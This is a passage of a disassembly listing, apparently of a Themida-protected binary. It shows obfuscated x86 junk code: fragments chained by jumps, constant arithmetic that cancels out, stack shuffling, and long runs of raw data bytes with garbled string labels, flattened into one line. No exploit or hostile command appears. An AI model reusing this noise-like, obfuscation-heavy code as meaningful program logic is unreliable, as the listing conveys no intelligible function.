977DE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554DCA: ; CODE XREF: Themida_:0055BA32j add dword ptr [esp], 4 jmp loc_55A7BA ; --------------------------------------------------------------------------- db 81h dd 342547E3h, 43F3817Dh, 0E94D3401h, 0FFFFE2F7h, 8158C701h dd 4C7h, 243C8700h, 8FB7E9h db 0 ; --------------------------------------------------------------------------- loc_554DF5: ; CODE XREF: Themida_:00553C6Aj push eax jmp loc_56408A ; --------------------------------------------------------------------------- aSkr db '(аИ╙R',0 align 2 loc_554E02: ; CODE XREF: Themida_:00562081j pop edx sub ebp, 2F9B2830h add ebp, edx add ebp, 2F9B2830h jmp loc_55B3F1 ; --------------------------------------------------------------------------- loc_554E16: ; CODE XREF: Themida_:0055E820j add ebx, ecx pop ecx xor ecx, ebx pop ebx pop ebx sub [edi+24h], ecx mov ecx, [esp] push 0D6Bh jmp loc_55593F ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 81h dd 1D13D4F7h, 5FF90115h, 0B03EE9h, 59CA2900h, 3CFCC281h dd 0F2016DBCh, 3CFCEA81h, 0CFE96DBCh, 5E000004h, 5573E9h dd 24148B00h, 3104C483h, 0FA315EF7h, 5F2434FFh, 0F283E953h dd 0BBBE0000h, 680B4767h, 0 dd 7D61BD55h, 6C290FEEh, 295D0424h, 4812434h, 0EE7D6124h dd 24348B0Fh, 4C481h, 9EE90000h db 70h, 2 dup(0) byte_554E9B db 0FFh ; DATA XREF: Themida_:00552A94o a4Xha db '4$Xh²',0Dh,0 align 4 dd 89241C89h, 5BD268E3h, 16E90000h, 560000A6h, 0C93DEDBEh dd 0EF74E919h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554EBE: ; CODE XREF: Themida_:00563632j push dword ptr [esp] jmp loc_566497 ; --------------------------------------------------------------------------- dw 815Ch dd 4C4h, 2434FF00h, 4EC8158h, 89000000h, 97E9241Ch, 50000030h dd 405E089h, 83000000h, 48704E8h, 1C23E924h, 835D0000h dd 0E95304EBh, 0F3ABh, 0C681E6D1h, 670525C6h, 8103EEC1h dd 23CF3FC6h, 0E9F301FBh, 0D8E1h, 5C02BF57h, 0E7C14CB3h dd 1C78306h, 74E7814Fh, 814D2171h, 0D52B37C7h, 5FFE89F7h dd 4EC81h, 0C890000h, 605BB924h, 0CE01268Bh, 0B621E959h dd 53660000h, 101BEE9h, 23ED8000h, 8059EB28h, 0C5807AEDh dd 80DD00AAh, 0B450AAEDh, 6BF480BAh, 0CC80DCF6h, 0DFCC80CFh dd 0FFF093E9h, 242C81FFh, 4F333F97h, 8124348Bh, 4C4h, 97C68100h dd 594F333Fh, 15EF701h, 2434FFF9h, 4C4815Fh, 68000000h dd 2512h, 0E9240C89h, 0F3E4h, 19BE68h, 241C8900h, 4BB8E9h db 0 ; --------------------------------------------------------------------------- loc_554FB1: ; CODE XREF: Themida_:0055F5A5j push 2CA4h jmp loc_559AE2 ; --------------------------------------------------------------------------- db 29h dd 8108245Ch, 708246Ch, 8176C407h, 8E082444h, 5B045104h dd 4245C01h, 14C7E9h, 2415BB00h, 0EB810897h, 0FFFFFFFFh dd 90AFE943h, 0FE590000h, 31F3E9CBh, 0ED810000h, 4, 31242C33h dd 2C33242Ch, 24248B24h, 0E9240C89h, 1CBEh ; --------------------------------------------------------------------------- loc_55500C: ; CODE XREF: Themida_:0055FEEFj xor dword ptr [esp], 2957A3h mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebx push edi mov edi, 80E10FCh jmp loc_55E22F ; --------------------------------------------------------------------------- dw 0E981h dd 2359180Ch, 24348B5Eh, 5704C483h, 0B830D8BFh, 8E7C115h dd 142AC781h, 0DAE932B2h, 54FFFFFDh, 4C3815Bh, 81000000h dd 4ECh, 242C8900h, 4BDh, 0E9EB0100h, 6FF5h, 0E41BE951h dd 8B5E0000h, 0C4812414h, 4, 190368h, 240C8900h, 0FF241CF7h dd 0C8B2434h, 4C48124h, 50000000h, 405E089h, 53000000h dd 7B1134BBh, 0C555E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5550AA: ; CODE XREF: Themida_:0055375Aj add ecx, edx pop edx sub ecx, 1822566Bh dec ecx jmp loc_56370C ; --------------------------------------------------------------------------- db 5Eh, 1, 0F9h dd offset byte_55FAE9 db 0 ; --------------------------------------------------------------------------- loc_5550C1: ; CODE XREF: Themida_:0055C954j mov [esp], ecx push 38h push dword ptr [esp] pop ecx jmp loc_561352 ; --------------------------------------------------------------------------- loc_5550D2: ; CODE XREF: Themida_:005613FBj mov edx, 4 add eax, edx pop edx sub eax, 4 jmp loc_557CEA ; --------------------------------------------------------------------------- dw 0DCE9h dd 81FFFFDBh, 342CF1CEh, 1BA527Dh, 29000000h, 8FE95AD6h dd 31000043h, 5DEE31F5h, 4E03E9h db 0 ; --------------------------------------------------------------------------- loc_555105: ; CODE XREF: Themida_:0055E3B3j shl al, 3 jmp loc_55AEDA ; --------------------------------------------------------------------------- loc_55510D: ; CODE XREF: Themida_:00555698j xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov dx, [esp] jmp loc_5622FF ; --------------------------------------------------------------------------- aFhrys_ db 'fhryИз.',0 ; DATA XREF: Themida_:00552A38o db 0 ; --------------------------------------------------------------------------- loc_555129: ; CODE XREF: Themida_:00555D92j mov [esp], esi push ebx jmp loc_5532A0 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241489h, 7E8Ah, 6812BB53h, 0DF2961B0h, 0F1A6E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55514E: ; CODE XREF: Themida_:0055FB6Dj mov ebp, 4BBF7357h or ebp, 40373E00h dec ebp jmp loc_55BACE ; --------------------------------------------------------------------------- db 0B8h dd 4, 0FFEF12E9h, 4EC81FFh, 89000000h, 0BA522424h, 4, 4245401h dd 24148B5Ah, 69C26857h, 24890000h, 63B1E924h, 0E9590000h dd 7CE2h dword_555194 dd 8B2434FFh, 0EC812404h, 4, 0E9241489h, 8991h ; DATA XREF: Themida_:00552A18o dword_5551A8 dd 0E9240C8Bh, 0FFFFE579h ; DATA XREF: Themida_:00552C08o ; --------------------------------------------------------------------------- loc_5551B0: ; CODE XREF: Themida_:00566007j sub ebx, 20545C39h xor eax, ebx pop ebx sub ebx, 1E786054h add ebx, 1BB57D89h add ebx, eax sub ebx, 1BB57D89h add ebx, 1E786054h jmp loc_56628F ; --------------------------------------------------------------------------- dd 5AD6315Eh, 8FE9F101h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5551E3: ; CODE XREF: Themida_:00559E0Bj jz loc_55D5BB push dword ptr [edi+1Ch] push ebp mov ebp, 304E627Fh xor [esp+4], ebp jmp loc_555D7D ; --------------------------------------------------------------------------- db 0BAh dd 0FD75B69h, 6EAC14Ah, 74C2CA81h, 0C281681Ch, 76B83D13h dd 0AE04EA81h, 0D701DE6Fh, 0F8315B5Ah, 0CB0E9h, 0BFF28000h dd 0EAC0DAF6h, 55EA8002h, 804ECA80h, 0D000E9EAh, 0E924148Bh dd 0E836h, 0E95BDA88h, 0FFFFE8FDh, 0EC5BE953h, 875F0000h dd 895C242Ch, 0EC832424h, 24148904h, 4BAh, 24540100h, 46E95A04h db 9Eh, 2 dup(0) byte_555267 db 66h ; DATA XREF: Themida_:00552BC0o dd 0E9240C8Bh, 5671h, 6668E280h, 0E9FFB450h, 37B6h, 0FFDA42E9h dd 0E9D830FFh, 0C7C1h, 6B72E681h, 0E68158DCh, 32230E4Ch dd 282FBA52h, 0D6095CB4h, 78F6815Ah, 0E9A34850h, 0BCF5h ; --------------------------------------------------------------------------- loc_5552A8: ; CODE XREF: Themida_:0055B28Ej xchg esi, [esp] pop esp push esi mov esi, 37BA4BF7h inc esi push 0 sub [esp], esi pop esi shl esi, 7 sub esp, 4 mov [esp], ebx mov ebx, 971DAF9Ch jmp loc_56010A ; --------------------------------------------------------------------------- db 8Bh dd 0EBE9241Ch db 0E0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5552D7: ; CODE XREF: Themida_:005665D7j xor ebp, [esp] xor [esp], ebp jmp loc_5671CB ; --------------------------------------------------------------------------- dw 489h dd 0F5A2E924h, 0E950FFFFh, 0AA8Fh ; --------------------------------------------------------------------------- loc_5552F0: ; CODE XREF: Themida_:0055B64Cj xor eax, 16E921F3h push ebx mov ebx, 101D2C47h jmp loc_5604C9 ; --------------------------------------------------------------------------- dd 8324048Fh, 0FF042404h, 34FF2434h, 0AFE95D24h, 680000F0h dd 6A6Eh, 89243489h, 0DC71E9E6h, 1E680000h, 0E9000069h dd 439Ch, 1438C681h, 0F389C021h, 0E924348Bh, 0D3E4h, 68240C89h dd 8EAh, 110DFE9h, 4738BE00h, 0E6C13ED4h, 0DEEE8102h, 1FB511Ch dd 24348BF5h, 0E9E18951h, 83BDh, 1A155EBEh, 8EEE810Eh dd 81095133h, 0B237D1E6h, 0D4F68117h, 2D048021h, 55F754BEh dd 2668F001h, 89000057h, 0EC832434h, 0FF50E904h, 0C831FFFFh dd 7E7B3605h, 5462E934h, 0EF810000h, 82F36E48h, 900FE9h db 0 ; --------------------------------------------------------------------------- loc_5553A9: ; CODE XREF: Themida_:0055CFE4j sub ebx, 6322487Bh jmp loc_567755 ; --------------------------------------------------------------------------- dd 5104C483h, 4B9h, 8BCF0100h, 34E9240Ch, 30000074h, 0E99C2404h dd 0FFFFD8F3h, 4EC815Dh, 0E9000000h, 0E06Ah ; --------------------------------------------------------------------------- loc_5553DC: ; CODE XREF: Themida_:0055DDF0j add ebx, 1 push ecx push ebp mov ebp, 1A6725ABh jmp loc_5653BD ; --------------------------------------------------------------------------- aVP3qSY db 'V╬p3÷,И╩Y',0 align 2 loc_5553F6: ; CODE XREF: Themida_:0055323Ej push 0DDBh mov [esp], ebp mov ebp, 8548534Ah jmp loc_563AC2 ; --------------------------------------------------------------------------- dd 1B1EE281h, 0BB5374D8h, 0CC4E13E9h, 1C8BDA01h, 4C48324h dd 5A91C381h, 0D3294D27h, 7CD7BF57h, 0CF8133D1h, 3192046Ah dd 0DD92C781h, 0FB291953h, 0F3815A5Fh, 1187CD90h, 1C8BD801h dd 5C166824h, 43E90000h, 310000E9h, 0E5C159CDh, 14C58105h dd 0E92898A0h, 467Ah ; --------------------------------------------------------------------------- loc_555460: ; CODE XREF: Themida_:0055E2ADj mov eax, 0 add eax, ecx sub esp, 4 jmp loc_564FFA ; --------------------------------------------------------------------------- aWs db '^)ыWИ|у',0 db 0 ; --------------------------------------------------------------------------- loc_55547B: ; CODE XREF: Themida_:00555F50j xor esi, 0D64047Ah jmp loc_55D928 ; --------------------------------------------------------------------------- aBXI db '│бЕ/К',0 dd 4A02E2C1h, 0DB69C281h, 0D0298B64h, 24148B5Ah, 104C483h dd 685552F8h, 836563Dh, 1BADE95Dh, 0F3810001h, 0D77C0C06h dd 0D7E9DD29h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5554BB: ; CODE XREF: Themida_:00564642j pop ecx push eax push edx mov dl, 57h mov ah, 0C4h sub ah, dl pop edx mov dl, 0B8h add dl, ah pop eax sub dl, 15h jmp loc_5561F6 ; --------------------------------------------------------------------------- dw 248Bh dd 0D7E9E924h, 0E4E9FFFFh db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5554DF: ; CODE XREF: Themida_:00567181j sub dword ptr [esp], 77291C77h pop edi jmp loc_5573BD ; --------------------------------------------------------------------------- dd 741268h, 9863E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5554F6: ; CODE XREF: Themida_:0055E607j xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_552CC3 ; --------------------------------------------------------------------------- loc_555509: ; CODE XREF: Themida_:0055B230j mov ecx, [esp] add esp, 4 add esi, ebx mov ebx, [esp] push ecx jmp loc_55ED4A ; --------------------------------------------------------------------------- aRpEL0cxrs7 db 'RP╢e╤╚0ФXRИ[7',0 dd 4C68100h, 0E9000000h, 11429h, 103768h, 241C8900h, 0FA885EB7h dd 5AD7885Bh, 4EC81h, 14890000h, 80CBB224h, 51661CCAh dd 0CA083BB1h, 240C8B66h, 0E902C483h, 2208h, 6CCEB850h dd 0C1310B31h, 0FFE660E9h, 2EB7BDFFh, 0F58164CEh, 64CE2EB3h dd 2C8BEB01h, 0EF42E924h, 4B80000h, 1000000h, 24048BC7h dd 4C481h, 3C870000h, 0FFE95C24h, 5000083h, 2D123400h dd 2DC801h, 2D2D1234h, 6A41599Fh, 2B95159h, 5000000h, 340D778Fh dd 5FE9C801h, 8B00002Eh, 0C4832404h, 0CCE98104h, 0F7572460h dd 0F7F987D1h, 95FCE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5555DA: ; CODE XREF: Themida_:005621B5j shr edx, 7 jmp loc_55C6D7 ; --------------------------------------------------------------------------- dw 0C389h dd 53D88950h, 0DE89C389h, 8B5B585Bh, 0C4812404h, 4, 0E70CEE81h dd 0F70189C5h, 0CDEDE9h, 0C6015B00h, 9090E9h, 0C180400h dd 2C2E34DEh, 58C5886Bh, 8B66E828h, 0C483240Ch, 1043E902h dd 0F2890001h, 0E924348Bh, 6BF2h ; --------------------------------------------------------------------------- loc_555630: ; CODE XREF: Themida_:00564870j add esp, 2 xor cl, ah jmp loc_5586B1 ; --------------------------------------------------------------------------- loc_55563A: ; CODE XREF: Themida_:0055E1B2j add ebx, 0FFFFFFFFh push edi push ebx mov ebx, 1ECD4287h mov edi, ebx jmp loc_555F43 ; --------------------------------------------------------------------------- db 0B3h dd 5BD98858h, 0B0FCE9h, 6DE95E00h, 810000A6h, 0F82B91E1h dd 10C1813Ah, 835EBE14h, 0C181FFE9h, 96B1C161h, 34FFCA01h dd 0C4835924h, 24143304h, 33241431h, 248B2414h, 4096624h dd 34E99C24h db 0D6h, 2 dup(0FFh) byte_55568F db 0ADh ; DATA XREF: Themida_:00552C18o dd 0F2E9D831h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555697: ; CODE XREF: Themida_:0055843Fj pop esi jmp loc_55510D ; --------------------------------------------------------------------------- loc_55569D: ; CODE XREF: Themida_:00556800j push ebx mov ebx, 44734F46h sub ebx, 44734F42h push ecx mov ecx, 0FED659Ch add eax, ecx pop ecx add eax, ebx sub eax, 0FED659Ch jmp loc_562273 ; --------------------------------------------------------------------------- dw 0FD01h dd 0C5F5815Fh, 151FC51h, 0CB015DEBh, 4E64E956h, 0ED810000h dd 34BDB470h, 355DE831h, 5344298Fh, 8158C389h, 0D04804CBh dd 0DBF74B41h, 0CFADEB81h, 0C331D549h, 8DC3E9h db 0 ; --------------------------------------------------------------------------- loc_5556F9: ; CODE XREF: Themida_:00555902j mov edx, 0FFFFFFFFh sub [edi+24h], edx push dword ptr [esp] pop edx push 35A3h mov [esp], eax push esp jmp loc_563103 ; --------------------------------------------------------------------------- db 52h dd 770731BAh, 0F5D7E943h, 0E3810000h, 1A411DB9h, 3038F381h dd 0ADE90B23h, 5C000077h, 31243433h, 16E92434h, 8000005Fh dd 0F700B0C7h, 28B0B252h, 24148BD7h, 957DE9h db 0 ; --------------------------------------------------------------------------- loc_55574D: ; CODE XREF: Themida_:00567056j push ebp mov ebp, 4B761E2Dh add ebp, 7CE643F7h jmp loc_55D268 ; --------------------------------------------------------------------------- loc_55575E: ; CODE XREF: Themida_:0055BF96j pop ecx mov ebp, edx mov edx, [esp] add esp, 4 shl ebp, 7 or ebp, 61260368h shr ebp, 5 add ebp, 0EBAD35F3h xor edx, ebp mov ebp, [esp] add esp, 4 jmp loc_56016E ; --------------------------------------------------------------------------- loc_555789: ; CODE XREF: Themida_:0055A7FBj jz loc_557848 push 229Ah mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 3E1E15EBh dec edi push esi mov esi, 0 sub esi, edi jmp loc_55EA74 ; --------------------------------------------------------------------------- dd 5A80EC80h, 48BE320h, 4C48124h, 0C0000000h, 0C38004E3h dd 0E9D830D6h, 376Dh, 0B2525166h, 0FFEA804Ah, 0D2F6CAFEh dd 5106EAC0h, 0CA30F5B1h, 0E9D18859h, 2E0Dh, 42Dh, 24048700h dd 2D3EE9h, 57CB8100h, 0E9206252h, 0BEB9h ; --------------------------------------------------------------------------- loc_555800: ; CODE XREF: Themida_:0055BDAFj sub ebp, edx push edx mov edx, 4E020F74h sub ebp, edx pop edx jmp loc_5534FC ; --------------------------------------------------------------------------- dd 33240C31h, 248B240Ch, 4896624h, 0D4A1E924h, 1487FFFFh dd 0E52BE924h, 0F801FFFFh, 4EC81h, 34890000h, 0C1C9E924h dd 0E9C10000h, 0B06AE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555842: ; CODE XREF: Themida_:00558C2Cj pop edx and ebp, 7BEB127Ah shr ebp, 7 shl ebp, 1 shl ebp, 5 add ebp, 0E7FA7704h add edi, ebp pop ebp sub esp, 4 mov [esp], eax push ecx push 7B821401h pop ecx xor ecx, 7B821405h mov eax, ecx pop ecx add edi, 101E34A4h add edi, eax sub edi, 101E34A4h pop eax jmp loc_564EAD ; --------------------------------------------------------------------------- loc_555884: ; CODE XREF: Themida_:00557A0Aj push esi mov esi, 4 add edx, 32604B21h add edx, esi jmp loc_5573D6 ; --------------------------------------------------------------------------- loc_555897: ; CODE XREF: Themida_:0055B27Dj pop eax jmp loc_5677C9 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 87h dd 81DBF7D3h, 2727F3F3h, 0E9DD8916h, 0ABD3h ; --------------------------------------------------------------------------- loc_5558B0: ; CODE XREF: Themida_:0056491Ej mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_565993 ; --------------------------------------------------------------------------- dd 4EC815Ah, 0E9000000h, 0FFFFE43Ch ; --------------------------------------------------------------------------- loc_5558CC: ; CODE XREF: Themida_:005597EFj pop dword ptr [esp] push ecx mov ecx, 4 push edx mov edx, 23F01517h add [esp+8], edx pop edx add [esp+4], ecx sub dword ptr [esp+4], 23F01517h mov ecx, [esp] jmp loc_55E85A ; --------------------------------------------------------------------------- dd 1C5EE95Ah db 1, 0 ; --------------------------------------------------------------------------- loc_5558FA: ; CODE XREF: Themida_:00565166j shl edx, 1 sub esp, 4 mov [esp], edx jmp loc_5556F9 ; --------------------------------------------------------------------------- db 68h dd 6F6Bh, 83241C89h, 248904ECh, 4BA5224h, 1000000h, 5A042454h dd 54A5E9h, 2434FF00h, 0B90FE9h, 341CB800h, 51052221h dd 0C131C613h, 19E905E0h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55593F: ; CODE XREF: Themida_:00554E28j mov [esp], ecx jmp loc_55ABBE ; --------------------------------------------------------------------------- db 0BEh dd 72AC681Fh, 76BA524Eh, 8101565Dh, 63202CEAh, 8EAC17Eh dd 0DB6E9h, 4C48300h, 0CF66E952h, 3C8B0000h, 0E2895224h dd 4C281h, 0C2810000h, 4, 0E9241487h, 0C763h ; --------------------------------------------------------------------------- loc_555984: ; CODE XREF: Themida_:00560CC9j push esi jmp loc_55838E ; --------------------------------------------------------------------------- loc_55598A: ; CODE XREF: Themida_:0055803Cj mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_553D6E ; --------------------------------------------------------------------------- dd 3178CE81h, 0EE812E8Ch, 2E8F357Bh, 7DE9F029h, 81000051h dd 4ECh, 240C8900h, 4B9h, 99FFE900h, 0F5680000h, 0E9069227h dd 0D43Eh, 8E3C15Fh, 178CE9h db 0 ; --------------------------------------------------------------------------- loc_5559D9: ; CODE XREF: Themida_:00556C16j add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_55CE2F ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 8105EFC1h, 6ED587EFh, 1B82E9DFh, 0D15F0000h dd 218A68E7h, 34890000h, 7CE95024h, 810000BCh, 4EDh, 242C8700h dd 2404895Ch, 9E61E9h db 0 ; --------------------------------------------------------------------------- loc_555A21: ; CODE XREF: Themida_:00558B57j push edi push 219727B6h push dword ptr [esp] pop edi jmp loc_5650DA ; --------------------------------------------------------------------------- dd 57243489h, 0FC2AB168h, 0FFC0E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A3E: ; CODE XREF: Themida_:0055931Cj add edi, 4 xchg edi, [esp] pop esp pop dword ptr [edi+20h] sub esp, 4 mov [esp], ecx jmp loc_566147 ; --------------------------------------------------------------------------- loc_555A59: ; CODE XREF: Themida_:00564F68j add esp, 4 add bl, 0D0h jmp loc_555AAD ; --------------------------------------------------------------------------- dd 31240433h, 69E92404h, 890000CFh, 0B1E9241Ch, 2CFFFFEBh dd 4D02850h, 24148B50h, 4C481h, 835B0000h, 17E904ECh, 8900002Ch dd 0FE5EE9D1h, 815EFFFFh, 4C6h, 4EC8300h, 0BA241489h, 4 dd 0FFEAB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_555AAD: ; CODE XREF: Themida_:00555A5Fj push 3634h jmp loc_55C930 ; --------------------------------------------------------------------------- aNsK db '╜И',1Bh,'┼',0 ; DATA XREF: Themida_:00552B18o dd 7C58100h, 890DCE51h, 0E9515DEBh, 0B93Ch, 0E924248Bh dd 5BADh, 0ABE9CD01h, 590000A5h, 3A8CE9h, 24E95C00h, 8100001Dh dd 636068EBh, 5BDD31B8h, 3E7FE9h db 0 ; --------------------------------------------------------------------------- loc_555AF5: ; CODE XREF: Themida_:00556281j pop ebp push 6B44h mov [esp], ebx mov ebx, 7260639h add ebx, 8C6544Bh push ebx push edi mov edi, 7E2B08A7h mov ebx, edi pop edi shl ebx, 4 xor ebx, 64422B1Ch jmp loc_55EF22 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 8124348Bh, 4C4h, 542C6800h, 79E90000h, 68FFFFD6h dd 6E48h, 0FDC3E9h, 243C8B00h, 0E904C483h, 0FFFFF294h dd 6624248Bh, 0E868F1F7h, 89000051h, 0B4682414h, 68000077h dd 5F21h, 83242489h, 8F042404h, 0B9512404h, 4, 2B6CE9h dd 0D5EB8000h, 96EB80h, 96C380C3h, 50D5C380h, 405E089h dd 2D000000h, 4, 5C240487h, 81240C89h, 4ECh, 241C8900h dd 5250DEB7h, 0D088FA88h, 0E9C5885Ah, 120Dh, 241AC681h dd 0C6811E6Bh, 6ED92B9Fh, 31EFC681h, 0C6010B90h, 31EFEE81h dd 0EE810B90h, 6ED92B9Fh, 241AEE81h, 0EE811E6Bh, 415A42E2h dd 3825EE81h, 60E92089h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555BEF: ; CODE XREF: Themida_:00561E08j mov esi, [esp] jmp loc_565B73 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0B713E900h, 0E0890000h, 1A7E68h, 24348900h, 4BEh dd 0B756E900h, 0E9590000h, 0E386h, 80CCFE5Ah, 52511EECh dd 93E900B2h, 89000054h, 4C181E1h, 83000000h, 0FF5104E9h dd 0E9042474h, 0E15Ch ; --------------------------------------------------------------------------- loc_555C40: ; CODE XREF: Themida_:00555CB9j xor edx, ebp pop ebp add ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] push 1629h mov [esp], ecx push esi push 305C4B37h pop esi jmp loc_563993 ; --------------------------------------------------------------------------- dd 4EC8157h, 89000000h, 4832424h, 9DE90424h db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C73: ; CODE XREF: Themida_:005642CBj pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push 5D7Eh mov [esp], ecx push dword ptr [esp+4] jmp loc_55C622 ; --------------------------------------------------------------------------- dd 468h, 69E95900h db 0FBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CA3: ; CODE XREF: Themida_:005613F3j push dword ptr [esp] pop ebx add esp, 4 push edx push ebp mov ebp, 4BE7044Ah mov edx, 4BE7044Eh jmp loc_555C40 ; --------------------------------------------------------------------------- dw 0F889h a_svj db '_И╒J',0 align 2 loc_555CC6: ; CODE XREF: Themida_:00567519j xor edx, [esp] jmp loc_5671F2 ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 4246C01h, 0C7815F5Dh, 4, 3304EF83h, 3C31243Ch, 243C3324h dd 8924248Bh, 8B54243Ch db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 517C438Eh neg esi push 7E7Eh mov [esp], ebx mov ebx, 517C4392h add esi, ebx pop ebx jmp loc_55BEC6 ; --------------------------------------------------------------------------- dw 0D5BBh dd 81178144h, 996093CBh, 0A2F38156h, 0E9345B7Eh, 0C3Eh dd 4B850h, 0C6810000h, 630076D0h, 86E9C601h, 5C0000A5h dd 54243C89h, 0E94CE9h, 0EB814B00h, 70F263AEh, 918DE9h dd 5BDE2900h, 663C381h, 0F3011BFAh, 0F7A7E9h db 0 ; --------------------------------------------------------------------------- loc_555D7D: ; CODE XREF: Themida_:005551F6j mov ebp, [esp] add esp, 4 mov ecx, [esp] push edx mov edx, esp add edx, 4 sub esp, 4 jmp loc_555129 ; --------------------------------------------------------------------------- db 59h dd 4EB815Ah, 87000000h, 248B241Ch, 242C8924h, 8904EC83h dd 2C81241Ch, 707E9824h, 0C5815D26h, 26707E98h, 0E904EC83h dd 3736h ; --------------------------------------------------------------------------- loc_555DC4: ; CODE XREF: Themida_:0055CEFFj mov eax, 25C61C6Dh shl eax, 3 not eax sub eax, 1EC35381h neg eax jmp loc_55EC83 ; --------------------------------------------------------------------------- loc_555DDA: ; CODE XREF: Themida_:0056533Aj add ebx, edi jmp loc_56082D ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 1302E9h, 0EC815A00h, 4, 0BE243489h, 4, 348BF201h, 4C48124h dd 0E9000000h, 8EF4h ; --------------------------------------------------------------------------- loc_555E08: ; CODE XREF: Themida_:00561761j add eax, 4 xchg eax, [esp] jmp loc_55A8CD ; --------------------------------------------------------------------------- byte_555E13 db 0ACh ; DATA XREF: Themida_:00552A04o dd 8904EC83h, 1CB7241Ch, 0E780C7FEh, 0FCF78028h, 0C02FEF80h dd 6EE902EFh db 0ACh, 2 dup(0) byte_555E2F db 0FFh ; DATA XREF: Themida_:00552B90o a4Xha_0 db '4$Xh²{',0 align 4 dd 54242C89h, 4C5815Dh, 0E9000000h, 188Bh, 3431D6F7h, 84D4E924h dd 0DCF60000h, 50CFE480h, 12454F6h, 52EC8058h, 0C2E9E300h dd 830000B7h, 566602C4h, 1D94E9h, 0E9E38900h, 2790h, 88240C89h dd 885052D5h, 4AE9E9E8h, 0C3810000h, 677646B9h, 4B07EBC1h dd 2BDEE9h db 0 ; --------------------------------------------------------------------------- loc_555E95: ; CODE XREF: Themida_:0055BB66j mov ebx, 5DD431A7h push 46h jmp loc_557A4C ; --------------------------------------------------------------------------- loc_555EA4: ; CODE XREF: Themida_:0056221Fj push 0A5F2E1Eh pop esi and esi, 0CEE27FDh add esi, 50983DD5h mov edi, esi pop esi jmp loc_55D146 ; --------------------------------------------------------------------------- dw 5768h dd 89000017h, 0F189240Ch, 243C8B51h, 0EDC2E9h, 243C8B00h dd 6804C483h, 167Dh, 68241C89h, 3E1A2D9Ah, 0E9241C8Bh dd 47BEh, 80FFEE80h, 0F428E8EEh, 80EC285Ah, 805919C4h dd 83E90CF4h db 0C4h, 2 dup(0) byte_555F03 db 0FFh ; DATA XREF: Themida_:00552AF8o a4Xusr db '4$XUИr=',0 dd 24048B00h, 268AE9h, 0F5215A00h, 0AB0AE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F1E: ; CODE XREF: Themida_:005642EFj push ecx pop esi pop ecx sub edx, esi jmp loc_56619B ; --------------------------------------------------------------------------- dd 0E905E3C1h, 0F723h, 1C112D58h, 0C6897F46h, 8BF00158h dd 0DEE92434h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555F43: ; CODE XREF: Themida_:00555646j pop ebx push esi mov esi, 5BF43D82h or esi, 3403DEh jmp loc_55547B ; --------------------------------------------------------------------------- db 89h, 0EBh, 5Dh dd 0E3C1DBF7h, 0BB35E906h, 0C3810000h, 0B5CEF22Eh, 77E9h dd 4C38100h, 87000000h, 8EE9241Ch, 0B90000DFh, 589317A1h dd 4114E181h, 0BE56737Ch, 6B366B0h, 0B73EE81h, 0F131B73Fh dd 0F8A0E95Eh, 0F531FFFFh, 0A5C5815Eh, 212833EAh, 2AF8E9EBh dd 4F040000h, 8C34E0D0h, 0DEFAE9h, 241C8700h, 0E924248Bh dd 94EAh, 4942EF81h, 0CF815203h, 71D12F5Fh, 81DFF74Fh dd 0D36F82C7h, 0E9FD01FBh, 0B543h, 0E9240489h, 0FFFFD434h dd 8B5BDD29h, 0C4812434h, 4, 3304C583h, 2C31242Ch, 242C3324h dd 903BE9h, 0E3895300h, 7499E9h db 0 ; --------------------------------------------------------------------------- loc_556009: ; CODE XREF: Themida_:0055DB00j push edx push eax mov eax, 1C813324h sub [esp+4], eax pop eax pop eax add eax, 1C813324h pop edx jmp loc_5639C6 ; --------------------------------------------------------------------------- aHz db '[h┤',7,0 dw 0E900h dd 0F986h, 0E9240489h, 0E439h, 0C7E9CAB4h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55603B: ; CODE XREF: Themida_:0055F2EEj add dword ptr [esp], 4 jmp loc_55BD79 ; --------------------------------------------------------------------------- loc_556047: ; CODE XREF: Themida_:00561AE2j add ebx, 4 xchg ebx, [esp] pop esp shl ebp, 3 neg ebp shl ebp, 3 push edx push eax mov eax, 27791B76h sub eax, 3D464BBEh push ebp mov ebp, 298E0524h shl ebp, 3 sub ebp, 1 shl ebp, 6 jmp loc_556207 ; --------------------------------------------------------------------------- dd 